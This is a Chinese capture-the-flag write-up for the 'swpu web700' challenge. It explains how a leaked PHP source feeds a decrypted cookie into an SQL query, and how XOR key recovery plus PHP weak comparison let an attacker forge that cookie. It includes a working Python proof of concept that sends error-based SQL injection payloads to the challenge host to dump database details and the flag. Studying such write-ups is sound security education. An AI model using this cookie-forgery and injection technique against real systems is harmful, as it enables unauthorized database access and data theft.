一个SQL注入绕过分析(来源swpu web700)

访问页面提示:Hello Guest! please use in Admin!
查看cookie是user=DWJ6Ti0bEyhVIwsrK09/G3gSWygIfAJ9QjR2VFk2TjpMeAM4OAYHJFU/ASdRanFVRWEEd0hzBnJxSUl6BmhNaA1oehEtUBMwVWMLKytPfxt4GlswCCoCMkIkdhNZNU54THYDbzgFB2BVbwE0UW1xR0UkBGJIcAZlcUFJLwYxTXgNNXpELR4TdlVsC20rEH8feB9bPgg
+AidCe3YLWTROfkx1AzQ=

每刷新一次变化一次
扫描发现index.php.bak得到源代码:

<?php include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt, $key) { $key =md5($key); $rnd = random(32); $_txt['txt'] =$txt; $_txt['key'] = md5(substr($key,0,strlen($txt))); $txt = serialize($_txt); $txt = $txt.substr($key, 0, 4); $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); } return base64_encode(kecrypt($str, $key)); } function decrypt($txt, $key) { $key =md5($key); $txt = kecrypt(base64_decode($txt), $key); $len = strlen($txt); $str = ''; for($i = 0; $i < $len; $i++) { $tmp = $txt[$i]; $str .= $txt[++$i] ^ $tmp; } $_txt = unserialize(substr($str, 0, -4)); $_key = md5(substr($key,0,strlen($_txt['txt']))); return substr($str, -4) == substr($key, 0, 4) && $_key == $_txt['key'] ? $_txt['txt'] : ''; } function kecrypt($txt, $key) { $len = strlen($txt); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == 32 ? 0 : $ctr; $str .= $txt[$i] ^ $key[$ctr++]; } return $str; } $username = decrypt($_COOKIE['user'],$key); $query = mysql_query("select password from manager where username='".$username."'"); if(!$query) { die(mysql_error()); } $con=mysql_fetch_row($query); if ($con[0] === decrypt($_COOKIE['pass'],$key)) { }else{ setcookie('user',encrypt('guest',$key)); echo "Hello Guest! please use in Admin!"; } ?>

分析源代码发现加密过程挺复杂的,key未知,md5,32位随机值,serialize,感觉无法破解的样子。搜索关键字发现乌云文章《Destoon B2B 2014-05-21最新版绕过全局防御暴力注入》,其思路是爆破microtime值,这里生成了32位随机值,不可能爆破。
后又找到乌云文章: DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路(http://www.wooyun.org/bugs/wooyun-2010-071655)很有借鉴意义。

根据代码:

$username = decrypt($_COOKIE['user'],$key);
$query = mysql_query("select password from manager where username='".$username."'");
if(!$query)
{
    die(mysql_error());
}

username是从传入的cookie参数user值解密得到的,可以通过报错注入得到数据库数据。关键是如何构造加密的user值,里面包括要注入的内容。

查看decrypt函数:
key是原始key的md5值,固定为32位。
kecrypt(base64_decode( txt), key) 将密文进行base64解密后,与key每一位循环异或。
设base64_decode(密文)=ABCDEFG…
明文为:abcdefg…
kecrypt函数得到:text=A^key[0],B^key[1]…
再将txt的相邻两位text[i]^text[i+1]得到明文
故a=text[0]^text[1]=A^key[0]^B^key[1]
因此得到key[0]^key[1]=A^B^a,只要求出key[0]^key[1],…key[30]^key[31]这16个数就够了。
然后加密方法为:A随便取各字符,求B就可以了,B=(key[0]^key[1])^A^a
解密方法为:a=(A^B)^(key[0]^key[1]),明文长度固定为密文长度的一半

根据加密函数:

$_txt['txt'] =$txt;
$_txt['key'] = md5(substr($key,0,strlen($txt)));
$txt = serialize($_txt);

serialize后明文类似
a:2:{s:3:"txt";s:5:"guest";s:3:"key";s:32:"7de814b9f7fba178d2fc2607d45e7746";}9779
前面的字符a:2:{s:3:”txt”;s:5:”guest”;s:3:”key”;s:32:”都是固定的,这里只需要16个字符就够了,可以求出key[i]^key[i+1]的值

解密后的明文要满足两个条件:

substr($str, -4) == substr($key, 0, 4) && $_key == $_txt['key']

关于第一个条件,任意密文解密得到明文就可以得到后面的4个字符,就是key的md5值的最前面4个字符,这个值是固定的,值为9779.
关于第二个条件,_key是key的md5再根据明文长度截取再求md5,基本不可能破解的,但这里php有个弱类型比较问题,任意不为0或空的字符串或数字均可以等于True,因为serialize可以构造boolean类型,因此需要构造的明文类似:a:2:{s:3:”txt”;s:5:”guest”;s:3:”key”;b:1;}9779,注入语句在guest位置,前面的s:5对应字符串长度,需要修改。

然后再执行加密,解密,注入就水到渠成了。
poc with python2如下:

import base64
import requests

"""Refer to the encrypt and decrpt method, cliper[i]^cliper[i+1]^raw[i/2]=key[i]^key[i+1],keys is stable"""
def getkey():
    cliper="XDNPezAGFS57DUhoD2tTN08lbh10AHwDew1AYkEuBXEOOmRfJRtWdQ9lW30LMEBkbEhCMVRvVSFtVWladhhFYFw5TyQwTRU2e01IaA9rUzdPLW4FdFZ8THsdQCVBLQUzDjRkCCUYVjEPNVtuCzdAdmwNQiRUbFU2bV1pD3ZBRXBcZE9xMAMVcHtCSC4PNFMzTyhuC3RCfFl7QkA9QSwFNQ43ZFM="
    raw="a:2:{s:3:\"txt\";s:5:\"guest\";s:3:\"key\";s:32:\"d748530a5d6d860bf4596d6924e1548b\";}81dc"
    cliper=base64.b64decode(cliper)
    keys=[]
    rawx=raw[:16]
    cliperx=cliper[:32]
    for i,c in enumerate(rawx):
        keys.append(ord(cliperx[2*i])^ord(cliperx[2*i+1])^ord(c))

    return keys

"""get the last 4 character of text: 9779"""
def testdecode(keys):
    cliper="WjVuWlJkLBd9C35eB2NTN0YsTD9kEGAfUCZWdF0yeg5wRFNoW2UyEWELByEFPnNXZ0NjEH9EWi5gWGNQWjRAZVo/bgVSLywPfUt+XgdjUzdGJEwnZEZgUFA2VjNdMXpMcEpTP1tmMlVhWwcyBTlzRWcGYwV/R1o5YFBjBVptQHVaYm5QUmEsSX1EfhgHPFMzRiFMKWRSYEVQaVYrXTB6SnBJU2Q="
    cliper=base64.b64decode(cliper)
    j=0
    text=''
    for i in xrange(0,len(cliper),2):
        text+=chr(keys[j]^ord(cliper[i])^ord(cliper[i+1]))
        j+=1
        if(j==16):
            j=0

    print text

def encode(inject,keys):
    injectstr="a' and extractvalue(1,concat(0x23,(%s)))-- "%(inject)
    str="""a:2:{s:3:"txt";s:%d:"%s";s:3:"key";b:1;}9779"""%(len(injectstr),injectstr)
    #print str
    c2='a'
    j=0
    res=''
    for i in xrange(0,len(str)):
        res+=c2+chr(keys[j]^ord(str[i])^ord(c2))
        j+=1
        if(j==16):
            j=0

    return base64.b64encode(res).replace("=","%3D")

def sendtext(encodestr):
    url="http://web6.wllm.club/index.php"
    cookie={'user':encodestr}
    x=requests.get(url,cookies=cookie)
    print x.content

keys=getkey()
testdecode(keys)

sql="concat(user(),0x23,version(),0x23,database())"
sendtext(encode(sql,keys))

sql="select table_name from information_schema.tables where table_schema=database() limit 0,1"
sendtext(encode(sql,keys))

sql="select * from flag"
sendtext(encode(sql,keys))

你可能感兴趣的:(sql注入,算法分析)